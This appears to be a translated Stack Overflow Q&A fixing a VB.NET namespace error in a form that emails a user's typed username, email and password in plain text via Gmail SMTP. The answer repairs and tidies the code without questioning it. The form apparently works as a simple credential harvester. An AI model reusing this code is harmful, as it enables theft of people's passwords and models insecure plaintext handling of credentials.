我的VB.NET代码出错了。该错误表示statement not valid in namespace
。这是我的代码:
Imports System.Net.Mail
Public Class Form1
End Class
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
Exit Sub
Else
End If
If TextBox2.Text = "" Then
MsgBox("Email Is Mising")
Exit Sub
Else
End If
If TextBox3.Text = "" Then
MsgBox("Password Is Mising")
Exit Sub
Else
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("", "")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("")
mail.To.Add("")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Email: " & TextBox2.Text & ", " & "Passoword: " & TextBox3.Text
smtpServer.Send(mail)
End Sub
有人可以告诉我如何解决这个问题,如果是这样的话会很棒!
答案 0 :(得分:1)
你的Sub需要在一个班级里面。另外,SmtpClient和MailMessage都有.Dispose()方法,这表明它们需要被处理掉使用;您可以使用“使用构造”自动为您执行此操作。如果Else条款中没有任何内容,您可以将其删除:
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is missing")
Exit Sub
End If
If TextBox2.Text = "" Then
MsgBox("Email Is missing")
Exit Sub
End If
If TextBox3.Text = "" Then
MsgBox("Password Is missing")
Exit Sub
End If
Using smtpServer As New SmtpClient()
smtpServer.Credentials = New Net.NetworkCredential("", "")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
Using mail As New MailMessage()
mail.From = New MailAddress("")
mail.To.Add("")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username: " & TextBox1.Text & ", " & "Email: " & TextBox2.Text & ", " & "Password: " & TextBox3.Text
smtpServer.Send(mail)
End Using
End Using
End Sub
End Class